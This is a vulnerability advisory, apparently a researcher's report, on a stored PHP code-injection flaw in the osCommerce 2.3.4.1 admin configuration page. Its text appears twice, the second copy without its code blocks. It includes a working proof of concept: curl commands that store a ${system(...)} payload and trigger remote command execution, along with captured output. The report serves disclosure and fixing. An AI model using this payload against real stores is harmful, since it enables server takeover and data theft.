Affected Software
Vulnerability Description
The configuration editing page of the osCommerce admin panel (admin/configuration.php) renders the edit form by concatenating the stored configuration value into a PHP snippet and passing it to eval(). The concatenation point wraps the value with htmlspecialchars() — which escapes quotes and & < > only, and does nothing to stop code evaluation: the value lands inside a PHP double-quoted string, and the legacy ${expr} interpolation syntax of double-quoted strings evaluates the expression inside the braces.
The value comes from the configuration_value column of the configuration table, and an authenticated admin can write any string to it through the configuration save action (POST, no CSRF token); the server never checks it against a legal set of values. Submitting ${system($_GET[0])} and then opening that setting's edit page makes eval() run an arbitrary shell command as the web server user (www-data) during string interpolation. The payload persists in the database — stored, second-order code injection.
Root Cause
Write side — the save branch of admin/configuration.php stores the submitted value:
case 'save':
$configuration_value = tep_db_prepare_input($HTTP_POST_VARS['configuration_value']);
$cID = tep_db_prepare_input($HTTP_GET_VARS['cID']);
tep_db_query("update " . TABLE_CONFIGURATION . " set configuration_value = '" . tep_db_input($configuration_value) . "', last_modified = now() where configuration_id = '" . (int)$cID . "'");
tep_db_prepare_input() (trim + stripslashes) and tep_db_input() (SQL escaping) leave $, {, } untouched, and the payload ${system($_GET[0])} contains no quotes or backslashes, so it reaches the database exactly as submitted; there is no validation of the value itself.
Read side — the edit branch of the same file concatenates the stored value into eval():
if ($cInfo->set_function) {
eval('$value_field = ' . $cInfo->set_function . '"' . htmlspecialchars($cInfo->configuration_value) . '");');
} else {
// ...
$cInfo->set_function is the template prefix written when the setting was installed (e.g. tep_cfg_select_option(array('True', 'False'), ), and the configuration_value lands inside a double-quoted string after htmlspecialchars(). The concatenated line looks like:
$value_field = tep_cfg_select_option(array('True', 'False'), "<stored value>");
htmlspecialchars() makes closing the double quote impossible, but the legacy ${expr} interpolation syntax of PHP double-quoted strings still evaluates the expression: with the stored value ${system($_GET[0])}, eval() calls system($_GET[0]) during interpolation (the evaluation result would be used as a variable name; the command-execution side effect has already happened). The mistake here is using an HTML-escaping function as a defense in a code context — htmlspecialchars() is meant for HTML output and imposes no constraint on a PHP string inside eval().
Proof of Concept
Log into the admin panel to obtain a session (the admin panel has no CSRF token):
curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null
curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \
'http://<target>/catalog/admin/login.php?action=process' > /dev/null
Step 1 — store the payload in a setting whose set_function is non-empty (below: DISPLAY_CART in group 1, configuration_id 12; the target cID can be read off the configuration group page):
curl -b admin.jar -s \
--data-urlencode 'configuration_value=${system($_GET[0])}' \
'http://<target>/catalog/admin/configuration.php?gID=1&cID=12&action=save' > /dev/null
Step 2 — open that setting's edit page to trigger the interpolation inside eval(); the command is passed in via $_GET[0]:
curl -b admin.jar \
'http://<target>/catalog/admin/configuration.php?gID=1&cID=12&action=edit&0=echo+vdy5osc368eaa70f6d56834-EXEC%3B+touch+%2Ftmp%2Fvdy5osc368eaa70f6d56834.txt'
Expected result: the marker vdy5osc368eaa70f6d56834-EXEC appears in the edit-page HTML (system() output goes straight into the response stream) and the payload-created file /tmp/vdy5osc368eaa70f6d56834.txt exists inside the web container.
Actual output (captured in a local authorized deployment)
The save request returns 302 (normal save redirect). A read-only query after injection shows the stored value matches the payload (the payload persists in the configuration table):
select configuration_id, configuration_key, configuration_value from configuration where configuration_id=12;
12 DISPLAY_CART ${system($_GET[0])}
The execution request returns 200 with the command output embedded in the edit page (system() output inlined where the eval renders, at the right-hand layout column):
o" title="Info" /></a> </td>
</tr>
</table></td>
vdy5osc368eaa70f6d56834-EXEC
<td width="25%" valign="top">
<table border="0" width="100%" cellspacing="0" ce
Cross-check inside the container: the marker file created by the payload exists:
$ ls -la /tmp/vdy5osc368eaa70f6d56834.txt
-rw-r--r-- 1 www-data www-data 0 Sep 8 10:54 /tmp/vdy5osc368eaa70f6d56834.txt
Before injection the same edit page contained no such marker (negative control); after verification the setting was restored to true through the same save interface and re-checked in the DB.
Impact
An authenticated admin — or any request reaching the save interface, since the admin panel has no CSRF protection — can persist a payload in any setting with a non-empty set_function and have arbitrary commands executed as the web server user (www-data) every time that setting's edit page is rendered: reading and writing any file and data reachable with that privilege, planting backdoors, or probing the internal network. The configuration groups cover every store toggle, so there are many writable settings, and the trigger page is part of routine administration; once written, the payload stays resident in the database indefinitely.
Suggested Fix
Stop rendering the configuration edit form through eval(): dispatch to a whitelist of known set_function formatters and pass the stored value as an escaped function argument. htmlspecialchars() is only appropriate for HTML output context and provides no protection at a code-evaluation point.
Prior Research
Before writing this up I went through the public records for osCommerce 2.3.4.1 (CVE/NVD entries, GitHub Security Advisories and the Exploit-DB history) and didn't find the configuration.php set_function/value eval concatenation reported anywhere. The known RCEs for this version (the installer issue in CVE-2018-25114, the upload-side issues in CVE-2018-18572/73) have different entry points, concatenation spots and attack conditions, and their fixes don't cover this.
Affected Software
v2.3.4.1, commit94e9e9efe7994bf88d8ade2e64881b4bfe1745d4Vulnerability Description
The configuration editing page of the osCommerce admin panel (
admin/configuration.php) renders the edit form by concatenating the stored configuration value into a PHP snippet and passing it toeval(). The concatenation point wraps the value withhtmlspecialchars()— which escapes quotes and& < >only, and does nothing to stop code evaluation: the value lands inside a PHP double-quoted string, and the legacy${expr}interpolation syntax of double-quoted strings evaluates the expression inside the braces.The value comes from the
configuration_valuecolumn of the configuration table, and an authenticated admin can write any string to it through the configuration save action (POST, no CSRF token); the server never checks it against a legal set of values. Submitting${system($_GET[0])}and then opening that setting's edit page makeseval()run an arbitrary shell command as the web server user (www-data) during string interpolation. The payload persists in the database — stored, second-order code injection.Root Cause
Write side — the save branch of
admin/configuration.phpstores the submitted value:tep_db_prepare_input()(trim + stripslashes) andtep_db_input()(SQL escaping) leave$,{,}untouched, and the payload${system($_GET[0])}contains no quotes or backslashes, so it reaches the database exactly as submitted; there is no validation of the value itself.Read side — the edit branch of the same file concatenates the stored value into
eval():$cInfo->set_functionis the template prefix written when the setting was installed (e.g.tep_cfg_select_option(array('True', 'False'),), and theconfiguration_valuelands inside a double-quoted string afterhtmlspecialchars(). The concatenated line looks like:htmlspecialchars()makes closing the double quote impossible, but the legacy${expr}interpolation syntax of PHP double-quoted strings still evaluates the expression: with the stored value${system($_GET[0])},eval()callssystem($_GET[0])during interpolation (the evaluation result would be used as a variable name; the command-execution side effect has already happened). The mistake here is using an HTML-escaping function as a defense in a code context —htmlspecialchars()is meant for HTML output and imposes no constraint on a PHP string insideeval().Proof of Concept
Log into the admin panel to obtain a session (the admin panel has no CSRF token):
Step 1 — store the payload in a setting whose set_function is non-empty (below: DISPLAY_CART in group 1,
configuration_id12; the target cID can be read off the configuration group page):Step 2 — open that setting's edit page to trigger the interpolation inside
eval(); the command is passed in via$_GET[0]:curl -b admin.jar \ 'http://<target>/catalog/admin/configuration.php?gID=1&cID=12&action=edit&0=echo+vdy5osc368eaa70f6d56834-EXEC%3B+touch+%2Ftmp%2Fvdy5osc368eaa70f6d56834.txt'Expected result: the marker
vdy5osc368eaa70f6d56834-EXECappears in the edit-page HTML (system()output goes straight into the response stream) and the payload-created file/tmp/vdy5osc368eaa70f6d56834.txtexists inside the web container.Actual output (captured in a local authorized deployment)
The save request returns 302 (normal save redirect). A read-only query after injection shows the stored value matches the payload (the payload persists in the
configurationtable):The execution request returns 200 with the command output embedded in the edit page (
system()output inlined where the eval renders, at the right-hand layout column):Cross-check inside the container: the marker file created by the payload exists:
Before injection the same edit page contained no such marker (negative control); after verification the setting was restored to
truethrough the same save interface and re-checked in the DB.Impact
An authenticated admin — or any request reaching the save interface, since the admin panel has no CSRF protection — can persist a payload in any setting with a non-empty set_function and have arbitrary commands executed as the web server user (www-data) every time that setting's edit page is rendered: reading and writing any file and data reachable with that privilege, planting backdoors, or probing the internal network. The configuration groups cover every store toggle, so there are many writable settings, and the trigger page is part of routine administration; once written, the payload stays resident in the database indefinitely.
Suggested Fix
Stop rendering the configuration edit form through
eval(): dispatch to a whitelist of known set_function formatters and pass the stored value as an escaped function argument.htmlspecialchars()is only appropriate for HTML output context and provides no protection at a code-evaluation point.Prior Research
Before writing this up I went through the public records for osCommerce 2.3.4.1 (CVE/NVD entries, GitHub Security Advisories and the Exploit-DB history) and didn't find the configuration.php set_function/value eval concatenation reported anywhere. The known RCEs for this version (the installer issue in CVE-2018-25114, the upload-side issues in CVE-2018-18572/73) have different entry points, concatenation spots and attack conditions, and their fixes don't cover this.